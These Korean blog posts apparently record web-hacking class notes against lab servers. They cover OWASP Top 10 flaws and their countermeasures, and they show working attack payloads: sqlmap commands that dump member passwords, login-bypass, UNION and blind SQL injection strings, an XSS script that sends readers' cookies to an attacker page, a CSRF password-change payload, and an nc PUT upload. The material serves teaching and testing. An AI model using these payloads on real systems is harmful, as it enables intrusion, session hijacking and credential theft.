# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" -D "board" -T "member" --columns 

 

9) member 테이블의 Id, Name, Pass 필드를 확인(실제 원하는 값 확인)

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" -D "board" -T "member" -C bId,bName,bPass --dump 

 

2. OWASP Top 10

A1 - 인젝션

가. 데이터베이스와 연결된 웹 어플리케이션에서 사용자의 입력에 대한 검증이 제대로 이루어지지 않을 경우, 공격자에 의해 URL, 로그인 form 등의 위치에 조작된 query 문을 삽입하여 인증을 우회하거나, 데이터베이스 정보를 열람, 조작, 시스템 명령 실행등이 가능한 취약점

나. 진단방법

1) ' (Single Quatation) 삽입시 에러 발생 시 취약 진단

2) query에 참/거짓 결과가 다르게 출력

- and 1=1

- and 1=2

다. 대책

1) 개발자의 시큐어 코딩 필요

2) 웹 방화벽 등에서 입력 값 필터링

- ', or, and, union 등 SQLi 공격에 사용되는 문자열 필터링 : 블랙리스트

- 허용된 입력 값만 필터링 : 화이트리스트

 

A2 - 인증 및 세션 관리

가. 사용자를 인증하고 인증된 사용자를 관리하는 세션 관리 매커니즘이 불충분하여 취약점이 발생

암호화 없이 정보를 저장/전송하여 세션 정보가 노출

나. 유형

1) Cookie Poisoning

2) Session Reply Attack

3) Brute Attack

다. 진단 방법

1) Cooxie Toolbar 사용하여 쿠키값 조작이 가능한지 확인

2) 동일한 SessionID로 동시접속이 가능한지 확인

3) 아이디/패스워드 입력 오류 발생 시 차단정책 확인

라. 대책

1) 패스워드 정책 강화

2) 입력오류 누적시 차단정책 설정

3) 데이터 전송 암호화(SSL)

4) 중요 데이터 쿠키 저장 금지

5) 세션 타임아웃 시간 단축

6) 동시접속 로그인 금지

마. 실습

1) java 설치

http://java.com/ko/download/

2) burp(Web Proxy) 다운

https://portswigger.net/

- .jar 파일은 자바가 설치되어있어야 실행가능

- .jar 파일이 알집으로 열린다면 알집의 설정에서 jar 확장자를 해제해준다.

- Paros Web Proxy 도 같은 기능의 도구

3) 웹사이트에 아이디/패스워드를 입력한다.(틀려도 됨)

4) burp 에서 아래의 탭에서 자신이 입력했던 아이디/패스워드가 넘어가는 내용을 찾는다.

 

5) 우클릭 -> Send to Intruder

 

6) Intruder 탭 선택 -> 타겟을 확인한다. 

 

7) Positions 에서 Attack type -> Cluster bomb 선택 -> 입력할 필드를 선택한다.(아이디/패스워드)

 

8) Payloads 탭에서 7번에서 선택한 아이디/패스워드 에 입력될 내용들을 추가해준다.(Dictionary) 

 

9) 설정 완료 후 오른쪽 위쪽에 Start Attack 을 누르면 아래와 같이 모든 경우의 수를 입력하여 찾게된다.  

- Length 부분이 하나가 다르게 나오는데 내용을 확인하면 정상적으로 로그인이 되는 내용임을 알 수 있다.

 

A3 - 크로스 사이트 스크립팅(XSS)

가. 서버에 악의적인 스크립트를 포함시켜서 사용자의 브라우저에서 실행을 유도하여 사용자의 브라우저 및 시스템을 제어할 수 있는 약점

서버 측에서 공격자의 입력 검증이 불완전하여 발생

나. 유형

1) Reflected XSS : URL 영역에 사용, URL에 스크립트를 포함시켜서 서버에게 파라미터로 전달하고 서버는 스크립트를 만들어주는

   페이지에 포함시켜 전송

2) Stored XSS : 게시물에 스크립트를 등록, 공격자는 공격 스크립트를 서버에 저장

3) DOM based XSS : document object model 을 사용하여 조작, URL에 스크립트를 포함시키지만 서버에서 파라미터가 처리되지 않고 요청한 페이지가 클라이언트에게 돌아온 후 .........................

다. 진단 방법

1) URL의 파라미터 영역에 '<script>alert('xss');</script> 등의 스크립트 입력

2) 게시물에 <script>document.write(document.cookie);</script> 스크립트 입력

3) 기타 XSS cheat sheet를 사용하여 스크립트 필터링 우회 테스트

라. 대책

1) 스크립트 사용제한

2) HTML 태그 사용 제한 또는 혀옹된 태그만 필터링

3) 스크립트에 악용될 가능성이 있는 문자 치환

 

A4 - 취약한 객체 직접 참조

가. 웹 페이지를 include 하는 부분이 존재할 때, 공격자가 기존 페이지 대신 시스템에 직접 접근 가능한 경로를 삽입하여 시스템 파일이

노출되는 취약점

나. 유형

1) 경로 조작을 통한 시스템 파일 접근(내부 파일 include)

2) WebShell 등 외부 파일 실행(외부 파일 include)

다. 진단 방법

1) 웹 사이트의 URL 주소 상세 점검

2) 취약점 진단 툴을 통해 점검 가능

3) 관리자 뒤 단 페이지, 백업 파일 접근 가능 여부 점검

라. 대책

1) 외부 파일 삽입 금지

2) 에러 페이지는 따로 작성 후 직접 호출방식 사용

3) include 된 파일이 화면에 표시되지 않고 서버측에서 처리하도록 설정

 

A5 - 보안 설정 오류

가. 웹 서버나 웹 어플리케이션 설정 등이 Default 로 유지되고 있거나, 테스트 파일 등이 남아있는 경우 발생하는 취약점

나. 유형

1) 디렉토리 리스팅

2) 오류 메시지 출력

3) Banner Grabbing

다. 진단 방법

1) 디렉토리 리스팅 : URL 에서 파일명, 쿼리 스트링을 삭제하고 요청하여 결과 확인

2) 오류 메시지 점검 : 특수문자, 파라미터 변조, 존재하지 않는 파일 요청 등을 통해 발생하는 에러 페이지 확인

3) http 메소드 점검 : OPTIONS 메소드를 사용하여 허용되는 메소드 파악

4) 테스트 페이지, 기본 설정 페이지 등의 존재 여부 확인

라. 대책

1) 웹 서버 환결설정 보완

2) 웹 서버 구축 완료 후 불필요한 파일 삭제

 

A6 - 민감 데이터 노출

가. 불완전한 암호화 방식 사용으로 민감 데이터가 공격자에게 노출되는 약점

패스워드 정보, 신용카드 등의 개인 정보, 기타 인증과 관련된 정보

나. 유형

1) 암호화 해제

2) 스니핑을 통한 중요정보 노출

다. 진단 방법

1) 와이어샤크 등 패킷 시니핑 도구를 사용하여 패킷을 확인

2) Session Cookie 값의 암호화 해제 리스트

라. 대책

1) 암호화 사용지 강력한 암호화 표준 알고리즘 사용

2) SSL을 사용한 통신

 

A7 - 기능 수준의 접근 통제 누락

가. 사용자의 권한에 따라 웹 어플리케이션의 URL에 접근이 제어되어야 하는데, 세션 등의 관리 미비로 관리자 페이지로 접속하거나,

권한 없는 사용자가 권한을 획득할 수 있는 보안 취약점

나. 유형

1) 권한이 없는 CRUD(create,Read or Retrieve, Update, Delete or Destory)

다. 진단 방법

1) 파라미터 조작을 통한 권한 획득 확인

2) 과리자 페이지 접속 시도

3) 관리자 페이지의 뒷단 페이지 접속 시도

라. 대책

1) CRUD 작업 요청 시 세션 체크

2) 관리자 페이지 접속 시 IP인증/계정인증 등 Two Factor 인증 적용

 

A8 - 크로스 사이트 요청 변조(CSRF)

가. 정상적인 사용자에게 공격자가 명령을 전송하여, 사용자의 브라우저에서 공격자에게 이득이 되는 행동을 수행하게 하는 취약점

나. 유형

1) 관리자를 대상으로 한 공격자의 권한상승 공격

2) 사용자를 대상으로 한 요청 변조 공격

다. 진단 방법

1) 게시물, 웹 메일, 쪽지 등의 XSS 전송 가능 여부 점검

라. 대책

1) POST method 사용

2) Security Validation Token 사용

3) Referer Validation

 

A9 - 알려진 취약점이 있는 컴포넌트 사용

가. 개발에 사용된 컴포넌트, 라이브러리, 프레임워크, 기타 소프트웨어 모듈이 전체 권한이나 버그를 내포하고 있고, 보안 패치 등이 수행되지 않았을 경우, 권한과 버그를 이용하여 시스템을 공격할 수 있는 보안 취약점

나. 유형

1) 사용중인 컴포넌트 파악하여 정보 수집 후 공격

2) Struts, tomcat, WYSIWYG 도구, 오픈소수 게시판

다. 진단 방법

1) 사용중인 어플리케이션의 버전 정보 확인 후 취약점 정보 조회

2) 웹 어플리케이션 소스를 분석하여 사용중인 컴포넌트 파악 후 해당 컴포넌트 소스 다운로드 후 분석

라. 대책

1) 취약점이 존재하는 컴포넌트 배제

2) 사용중인 컴포넌트의 취약점 보완 패치 적용

 

A10 - 검증되지 않은 리다이렉트 및 포워드

가. 다른 페이지로 리다이렉트/포워드 할 때 신뢰 할 수 없는 경로로 이동

신뢰성 검증 부재로 발생하는 보안 취약점

나. 유형

1) <a>, <meta> 등을 사용한 페이지 이동

2) ClickJacking 기법

- 마우스 클릭(onmouseup) 이벤트를 통한 사이트 이동

- 피싱 사이트, 악성코드 유포 경유지 등으로 유인

- 방화벽 설정 변경, 프로그램 다운로드

다. 진단 방법

1) 웹 페이지 소스 리다이렉트/포워드 부분 점검

2) HTML 태그 허용여부 확인

라. 대책

1) HTML 태그 필터링 : 허용 문자만 입력하도록 화이트리스트 기반 필터링 적용

posted by Red_Seek
2016. 1. 26. 09:01 :: 웹 보안

1. Error가 막혀있지 않고 SQL 입력가능한 환경에서 SQL injection

가. 크롬 브라우저 이용

나. having, Group by 이용
다. ID 부분에 다음의 내용 입력

  ' having 1=1--
  ' group by idx--
  ' group by idx,level_idx--

 

라. having 은 group by 와 같이 나와야하는데 지금은 having 만 사용하여 에러처리가 되어있는지 확인하고, 그 에러를 야기시켜서 DB를 가져올수 있다. 

- ID : ' having 1=1--     입력 -> 아래와 같은 에러를 보여주는데 그 내용에 DB 내용을 볼 수 있다.

-> member.m_idx

 

- ID : ' group by m_idx--    입력 

-> member.m_id

 

-  ID : ' group by m_idx,m_id--    입력 

-> member.m_name

 

- ID : ' group by m_idx,m_id,m_name--    입력

-> 더이상 에러가 나오지 않는다.

-> 필드는 3개 라는것을 확인 가능하다.

 

마. 로그인후 chapter1 게시판의 정보 확인

- 위와 같은 방법으로 하나씩 알아낼 수 있다.

- 테이블 명 : chapter1

- 필드개수 : 7

- 필드명 : chapter1.idx, chapter1.ref_idx, chapter1.level_idx, chapter1.title, chapter1.name, chapter1.wtday, chapter1.hitcnt

 

바. 왜 위험한가?

1) union select 절

- 조건

① 열의 개수가 같아야 한다.

② 호환되는 데이터 형식을 가져야 한다.

③ 두개 이상의 테이블

- ' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL from member-- 

-> 데이터 유형이 잘못됨을 나타낸다.

-> 어딘가 숫자를 요구하는 필드가 있다는 것을 의미

 

- ' union select 0,NULL,NULL,NULL,NULL,NULL,NULL from member--

- ' union select NULL,0,NULL,NULL,NULL,NULL,NULL from member--

-> .... 이런식으로 각 필드에 0을 넣어본다.

-> error 가 나오지 않는다.

 

- ' union select NULL,0,NULL,m_id,m_name,NULL,NULL from member--

- ' union select NULL,0,NULL,m_id,m_pwd,NULL,NULL from member-- 

-> m_id, m_pwd 정보를 찾을 수 있다. (m_id는 위에서 찾은 필드명이고, m_pwd는 유추하여 입력한 것이다.)

-> 이런식으로 원하는 필드를 찾을 수 있다.

 

- 현재는 에러 페이지 처리와 입력 값에 sql query 입력이 되는 두가지 문제로 인하여 위와 같은 공격이 된다.

- 보안 대책

가) 개발자가 sql 입력을 예외처리 해준다.

나) 에러 페이지를 처리해주어야 한다.

 

2. Error가 막혀있고 SQL 입력가능한 환경에서 SQL injection(Blind SQL injection)

가. 이것은 어떻게 아는가?

' and 1=1--        ->    상황에 따라 참, 거짓

' and 1=2--        ->    무조건 거짓

-> 논리적인 내용을 보내본다.

sql_6

sql_7

- 결과가 다르게 나오는데 원래는 해당 문자열이 들어간 내용을 찾아주어야하는데 아니다.

- 해당 검색 문자열이 무언가 결과에 영향을 준다는 의미

 

나. 논리적인 처리로 접근해본다.

- injection' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 107--

- injection' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 108--

->     |  여기부터 입력하면 된다.

-> db_name() : 현재 사용중인 테이블을 의미하는 함수

-> substring : 문자열 받아온다.

-> 1,1 : 첫번째 문자열에 첫번째 글자를 지칭 (1,2 : 두번째 글자

-> 그 글자가 107 이라는 숫자보다 큰지 확인한다.

-> 위 2줄의 sql 쿼리문을 넣어서 107이 참이고, 108이 거짓이면 해당 글자는 108 (소문자 L) 임을 알수 있다.

-> 이런식으로 한글자씩 찾는 방법이다.

 

다. 해당 공격이 가능한 페이지 찾는 방법

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and 1=1--

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and 1=2--

-> url 맨뒤에 필요없는 필드는 지우고 논리적인 쿼리를 입력해본다.

-> url 을 입력해서 결과를 비교해본다.

-> 1=1 은 그대로 유지되고, 1=2는 삭제된 게시물이라고 나온다.

- http://192.168.1.135/chapter3/view.asp?page=1&idx=11' and 1=1--

- http://192.168.1.135/chapter3/view.asp?page=1&idx=11' and 1=2--

-> 여기 페이지에는 블라인드 공격이 되지 않는다.

 

라. 공격

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 107--

-> 처리된다. (오류창 발생 안함)

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 108--

-> 삭제된 게시물이라고 나온다.

-> 첫번째 글자는 108 (소문자 L) 이 된다.

- http://192.168.1.135/chapter1/view.asp?page=1&idx=65' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,2)),0) > 97--

-> 두번째 글자를 아스키코드 97(소문자 a) 부터 찾는다.

- 이런식으로 DB 의 정보를 가져온다.

 

마. 인증이 필요한 웹서버 같은경우

- 로그인해서 쿠키값을 가져와서 넣어서 같이 보내는 것처럼 응용 가능

 

3. XSS(Cross Side Scripting)

가. server side 작성된 글에 client side script 를 이용한 공격 코드 작성

- 작성된 코드는 텍스트로만 쓰여서 보여야한다.

- 그런데 브라우저를 통하여 client 가 글을 읽을 때 공격코드가 실행된다.

- 필터링을 하여 해당 코드가 실행되지 않도록 해야한다.

- 웹 브라우징에서 가용성이 극대화 되면서 예외처리 부분이 되지않아 해당 공격가능

- 브라우징에서 많은 기능들이 사용된다.

 

나. 게시판에 글을 읽으면 쿠키정보를 가져오는 공격

1) <script>alert('test');</script>    ->    알림창 발생

2) DOM XSS

<script>document.write(document.cookie)</script>

가) 공격코드

<script>document.write("<iframe src='http://192.168.1.135/XSSAttack/Attack_Request.asp?cookie="+document.cookie+"' width=0 height=0></iframe>")</script>

-> document.cookie를 이용하여 글을 보고있는 사람의 쿠키를 해당 파일로 보내는 코드

나) 확인

http://192.168.1.135/XSSAttack/Attack_cookie.txt

다) 공격 페이지

http://192.168.1.135/XSSAttacker/Attacker_Requset.asp?cookie=aaa

-> aaa 라는 쿠키값을 보내게 된다.

라) 탈취한 쿠키를 적용시키면 해당 사용자로 인증접속 할 수 있다.

- EDIT COOKIE 부분에 탈취한 쿠키로 변경 후 SET 하면 인증접속 가능

 

4. CSRF (Cross-Site Request Forgery)

가. XSS 와 공격 원인은 같다.(예외처리가 되어있지 않다.)

나. 사실상 난독화등이 되어있어서 웹방화벽 등에서 예외처리, 필터링하기 힘들다.

다. 차이점 : 글을 읽는 사용자의 권한으로 재요청을 하게될 URL, 사이트 등과 같이 별도의 타겟이 있다.

- XSS는 글을 읽는 사람이 공격을 당하지만, CSRF은 글을 읽는 사람의 권한으로 별도의 타겟을 공격하는 것

라. 공격

1) 로그인 후 [정보수정] 버튼 눌러서 소스보기를 한다.

cs_1

- action : /member/mem_modify_ok.asp

- method : post(get 방식으로 전송됨을 확인했었음)

- pwd, name, email 변수 확인

2) 정보를 확인했으니 공격 코드를 작성한다.

http://192.168.1.135/member/mem_modify_ok.asp?pwd=1111&name=해킹했다&email=해킹@a.com

- get 방식으로도 동작하기 때문에 get 방식으로 작성

- action정보를 넣어주고 ? 뒤에 넘길 값을 작성해준다.

3) XSS 에서 했던 DOM 방식으로 작성한다.

<script>document.write("<iframe src='http://192.168.1.135/member/mem_modify_ok.asp?pwd=1111&name=너해킹됐어&email=해킹@a.com' width=0 height=0></iframe>")</script>

- 이 스크립트로 XSS에서 했듯이 게시물을 작성하면 글을 읽는 사용자의 권한으로 자동으로 실행되어 정보가 바뀐다.(pwd 1111)

마. 공격 가능 여부

1) 회원정보 수정 창에서 본인이 맞는지 인증을 하고 수정시켜야하는데 그렇지 않기 때문에 이 공격이 가능

 

posted by Red_Seek
2016. 1. 25. 09:17 :: 웹 보안

1. 웹

가. 개론

1) 네트워크나 시스템은 단일 대상

2) 웹 어플리케이션

- 웹은 혼자서 동작하는 경우가 없다.

- 다양하고 복합적인 자원이 같이 동작한다.

- 확장성이 용이하다.

3) 웹은 유행을 탄다.

- 웹을 잘한다 : 웹을 구성하고 있는 자원들을 잘 이해한다고 볼 수 있다.

 

나. 웹 프로세스 이해

1) Client Side

가) 종류 : html, javascript, applet, swf(플래시), xml, cookie 등

나) 브라우저 측에서 해석해준다.

다) 서버측으로 넘어가는것은 입력값 검증을 해주어야한다.(조작이 가능)

검증이 되지 않는다면 방어하지 못한다.

라) 클라이언트에 직접 영향을 준다. (브라우저에서 해석되어 보는것만으로도 악성코드, 스크립트 등이 동작)

2) Server Side

가) 웹 어플리케이션 : 웹서버와 DB 사이에서 입력되는 데이터값을 DB와 연동시키기 위해 사용된다.

- WAS : 서버 등을 관리하는 별도의 페이지, 제어 페이지가 따로 있는 환경

 

다. HTTP 프로토콜

1)개론

- 웹 상에서 파일(텍스트, 이미지, 비디오 등 멀티미디어)을 주고 받는데 필요한 프로토콜로서 TCP/IP 와 관련된 하나의 응용 프로토콜

- TCP와 UDP를 사용, 80번포트를 사용한다.

- 클라이언트와 서버사이에 이루어지는 요청/응답(Requset/Response) 프로토콜

- HTTPS : 443번 포트 사용

가) Requset Method

- GET : URL에 해당하는 자료의 전송을 요청

- HEAD : GET 과 같은 요청이지만 자료에 대한 정보만 받는다. 요청받은 자료는 되돌려주지 않는다.

- POST : 서버가 처리할 수 있는 자료를 보낸다.(content-length 로 body에 공간을 확보하여 body에 자료를 담아서 보낸다.)

- PUT : 메시지에 포함되어 있는 데이터를 해당 URL에 자료를 저장한다.

- DELETE : 해당 URL 의 자료를 삭제한다.

- TRACE : 요구 메시지의 최종 수신처까지 루프백 검사용. 클라이언트가 보내는 요구 메시지가 거쳐가는 프록시나 게이트웨이의

    중간 경로 및 최종 수신 서버까지 이르는 경로 추적

- OPTIONS : 자원에 대한 요구/응답 관계에서 관련된 선택 사항에 대한 정보를 요청

- CONNECT : 프록시가 사용하는 요청 방식

- COPY : 실행 권한이 있을 법한 경로로 복사한다.

나) State Code

- 100번대 : 정보 / 정보교환

- 200번대 : 성공 / 데이터 전송이 성공적으로 이루어졌거나, 이해되었거나, 수락되었음

- 300번대 : 방향 바꿈(Redirection) / 자료의 위치가 바뀌었음

- 400번대 : 클라이언트 오류 / 클라이언트 측의 오류. 주소를 잘못 입력하였거나 요청이 잘못되었음

- 500번대 : 서버 오류 / 서버 측의 오류로 올바른 요청을 처리할 수 없음

 

2) HTTP 1.1 Method 의 공격 시나리오중 하나

- OPTIONS : 상대방이 사용하고 잇는 allow method 정보를 볼수 있다.

- PUT : 원격의 서버에 임의 내용을 저장 (악성코드등을 서버에 심을 수 있다.)

- COPY : 실행 권한이 있을 법한 경로로 복사를 해준다.

- 공격

가) 실습

# nc.exe 192.168.1.129 80

# OPTIONS / HTTP/1.1

# host:192.168.1.129

- foot printing(정보수집)

- allow 를 보면 굉장히 취약함을 알 수 있다.

 

# nc.exe 192.168.1.129 80

# PUT /chapter1/upload/test1.html HTTP/1.1

# host:192.168.1.129

# content-length:10

# HTTP!!!!        ->    업로드할 텍스트

- 위와 같이 입력하면 IIS 서버에 해당 "HTTP!!!" 텍스트가 올라가게된다.

 

 

3) HTTP Request 에 포함된 상세정보

가) 요청 URL

나) 사용자 웹 브라우저 종류

다) 요청 데이터 타입

라) 쿠키 : 인증 정보, 클라이언트에 임의의 값을 주어서 세션을 유지하는 것

마) 경유지 URL : 이전 접속 페이지의 주소, 페이지 조작등이 가능할때 불법적인 접근을 확인할때

바) 요청 도메인

 

2.. 난독화

가. 정의

1) 프로그램을 변화하는 방법의 일종으로 코드를 읽기 어렵게 만들어 역공학을 통한 공격을 막는 기술

 

3. 모의해킹과 취약점 점검의 차이

가. 취약점 점검 : check list 에 의존한다. check list 를 넘으면 불법

나. 모의해킹 : 시나리오가 들어가고 이미 취약한 부분으로 인하여 피해유무를 증명하는 것

 

4. 웹 취약점 리스트

가. CWE

1) 연구 관점에서 발생할 수 있는 취약점

2) 의사코드 : 개발시 참조하는 가이드 코드(줄리엣 코드 -> CWE에서 나옴)

나. CVE

1) 감지된 보안취약점을 정리해 둔 목록, 보안 취약점의 히스토리

2) POC 코드 : 취약점에 대한 코드 

3) CVE-YYYY-NNN : CVE-년도-순번

다. OWASP Top 10

1) CVE에서 웹에 관련된 목록들을 정리한 목록(CVE 사이트 근거)

2) 그 해년도 많이 발생된 웹 취약점(완벽하게 신회할 수는 없다. 참고사항)

 

5. SQL Injection

가. 전제조건 : 일반 클라이언트는 웹 서버에 웹 어플리케이션에서 정의한 패턴만 DB에 요청이 들어가야한다.

나. 공격자는 전제조건을 우회해서 공격

- URL에 ? 기준으로 뒤는 파라미처(변수 등) 이고 db로 넘어가는 값, 앞쪽은 url과 경로등을 지칭

다. form tag 분석 및 실습

1) 웹 페이지에서 마우스 우클릭 -> 소스보기에서 form 의 내용으로 기본적인 사항을 확인 할 수 있다. 

<form name='login_form' action='/member/login_ok.asp' method='post'>

- action : 해당 form에서 이벤트 발생시 action 으로 넘겨간다.

- method : 넘기는 방식을 명시한다.

- post : content-length 을 이용하여 body 부분에 공간을 확보하여 보내는 방식

- get : url 에 정보를 담아서 보내는 방식

- 이때 진짜로 post 방식으로만 되는지 확인해야 한다. get 방식으로 해도 되는지 확인

-> http://192.168.1.129/member/login_ok.asp?id=attacker0101&pwd=0101 이런식으로 url에 정보를 담아서 접속해본다.(get)

-> 웹 어플리케이션에서는 넘어온 값들을 DB로 넘길때 다음과 같은 형태로 변수를 받아서 확인한다.

select * from member where id='&attacker0101&' and pwd='&0101&';

 

<input type='text' name='id' style='width:100px' onkeypress='javascript:enter_login()'>

<input type='password' name='pwd' style='width:100px' onkeypress='javascript:enter_login()'>

- input 필드에서는 항상 name, value 값을 확인하여 변수명, 값 등을 확인할 수 있다.

 

2) http://192.168.1.129/member/login_ok.asp?id=attacker0101&pwd=0101 get 방식으로 입력하여도 접속됨을 확인할 수 있다. 

 

3) ID / PW 에 특수문자를 넣는경우

- ID : ' or 1=1--

- PW : 아무거나

=> http://192.168.1.129/member/login_ok.asp?id=' or 1=1--&pwd=아무거나
=> select * from member where id='&' or 1=1--&' and pwd='&아무거나&';

가) sql 구문을 보게되면 " select * from member where id='&' " 여기서 sql 문장이 완성이 된다.

나) 그 뒤에는 or 조건으로 1=1 이 true 이기 때문에 전체 sql 문이 true 가 된다.

다) 그 뒤 -- 는 세미콜론(;) 을 의미한다.(데이터베이스 종류에 따라 다르다.) 그래서 sql 이 종료가 된다.

라) 세미콜론에서 전체 sql 구문이 끝나므로 그 뒤에 값을 보지도 않게된다.

마) 결과는 DB 로 넘어가는 sql 구문은 true 가 되기 때문에 패스워드에 아무값을 넣어도 로그인이 된다.

 

- ID : ' or '1'='1
- PW : ' or '1'='1

=> http://192.168.1.129/member/login_ok.asp?id=' or '1'='1&pwd=' or '1'='1
=> select * from member where id='&' or '1'='1&' and pwd='&' or '1'='1&';

가) 이번 경우에는 sql 구문을 찾아보면서 해석하면 ID / PW 필드 모두 true 값으로 되기 때문에 로그인이 된다.

 

4) 공격의 원리

- 입력한 값을 검증하지 않기 때문에 위와 같은 공격이 가능하다.

- 합법한 내용만 넘겨야하는데 개발자가 그 검증 부분을 넣지 않았기 때문이다.

 

 

 

posted by Red_Seek